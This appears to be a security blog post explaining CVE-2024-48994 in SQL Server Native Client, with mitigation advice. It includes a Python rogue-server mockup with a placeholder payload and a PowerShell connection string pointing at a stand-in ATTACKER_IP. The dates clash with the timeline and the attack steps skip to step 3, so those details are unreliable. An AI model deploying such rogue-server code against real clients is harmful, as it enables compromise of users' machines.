On May 14, 2024, a critical vulnerability was identified and reported affecting SQL Server Native Client. This security flaw, tracked as CVE-2024-48994, allows remote attackers to execute arbitrary code on systems running vulnerable versions of SQL Server Native Client. If you use Microsoft SQL Server environments, it’s important to understand this vulnerability, how it works, and the steps you need to take to protect your systems.

In this post, we’ll break things down in easy-to-understand language, show you how the attack could work, and provide code samples for security researchers and administrators. As always, patch your systems as soon as possible.

What is SQL Server Native Client?

SQL Server Native Client (sometimes known as “SQLNCLI”) is a data access technology used by client applications to connect to Microsoft SQL Server databases. It includes an OLE DB provider and an ODBC driver, supporting advanced SQL Server features.

What is CVE-2024-48994?

CVE-2024-48994 is a remote code execution vulnerability in SQL Server Native Client. The bug allows an attacker to execute malicious code on the target server. For this to happen, the attacker must persuade a legitimate user to connect to a malicious SQL server or force the client application to use a specially crafted connection string.

If exploited, the attacker could take full control of the affected machine under the context of the current user. This could lead to data theft, ransomware deployment, lateral movement, or complete system compromise.

Technical Details & Attack Scenario

Microsoft’s advisory:
- Microsoft Security Update Guide – CVE-2024-48994

Short version: The vulnerability arises from improper memory management in SQL Server Native Client when handling specially crafted responses from a server. By sending a malformed packet to the client, an attacker can overwrite memory locations and hijack program execution.

A legitimate user (or script) running a vulnerable version of SQLNCLI connects to this rogue server.

3. When the connection is established, the malicious server sends a crafted response that triggers the bug.

Sample Exploit Code (Proof-of-Concept)

⚠️ Educational use only. Do NOT use this code for unauthorized testing or attacks.

Suppose an attacker creates a malicious SQL server using Python and listens for incoming connections. When a connection is made, the server responds with a malformed TDS message that exploits the bug in SQLNCLI.

Malicious Server (Python mockup)

import socket

# Simulates a malicious SQL Server
HOST = '...'
PORT = 1433

# Craft the malicious TDS message (very simplified for illustration)
MALICIOUS_PAYLOAD = b"\x04\x01\x00\x75..."  # Actual payload would be determined based on vulnerability research

def main():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind((HOST, PORT))
    s.listen(1)
    print(f"Malicious SQL Server listening on {HOST}:{PORT}")
    while True:
        conn, addr = s.accept()
        print(f"Connection from {addr}")
        conn.sendall(MALICIOUS_PAYLOAD)
        conn.close()

if __name__ == "__main__":
    main()

Client-side exploit (PowerShell to simulate the connection)

# PS script to connect to the malicious SQL server
$connectionString = "Provider=SQLNCLI11;Server=ATTACKER_IP\SQLEXPRESS;Database=master;Trusted_Connection=yes;"
$connection = New-Object System.Data.OleDb.OleDbConnection($connectionString)
try {
    $connection.Open()
} catch {
    Write-Host "Error: $($_.Exception.Message)"
}

(*Replace ATTACKER_IP with the address of the malicious server.*)

The actual attack would involve crafting the payload according to the specifics of the memory corruption bug—details which are typically in the hands of mature security researchers and red teamers.

Mitigation:

- Update Immediately! Microsoft has released a patch. Apply the update via Windows Update or download manually from:
- Microsoft Update Catalog
- Block Untrusted Connections: Limit SQL Native Client access to only trusted SQL servers using firewalls or access control lists.

References

- Microsoft Advisory: CVE-2024-48994
- NIST NVD: CVE-2024-48994
- SQL Server Native Client Documentation

Final Words

CVE-2024-48994 highlights an ongoing risk with legacy connectors and data access components. If you use SQLNCLI practically anywhere—on servers, developer laptops, or even legacy applications—patch now. Don’t assume attackers won’t find your weak spots. Even if you think your environment is safe, verify that SQL Server Native Client is up-to-date and restrict outgoing SQL connections where possible.

Stay safe, keep your systems patched, and monitor trusted sources for new vulnerabilities.

If you have any questions or want to share your detection/mitigation tips, please comment below!

Timeline

Published on: 11/12/2024 18:15:36 UTC
Last modified on: 01/30/2025 00:09:54 UTC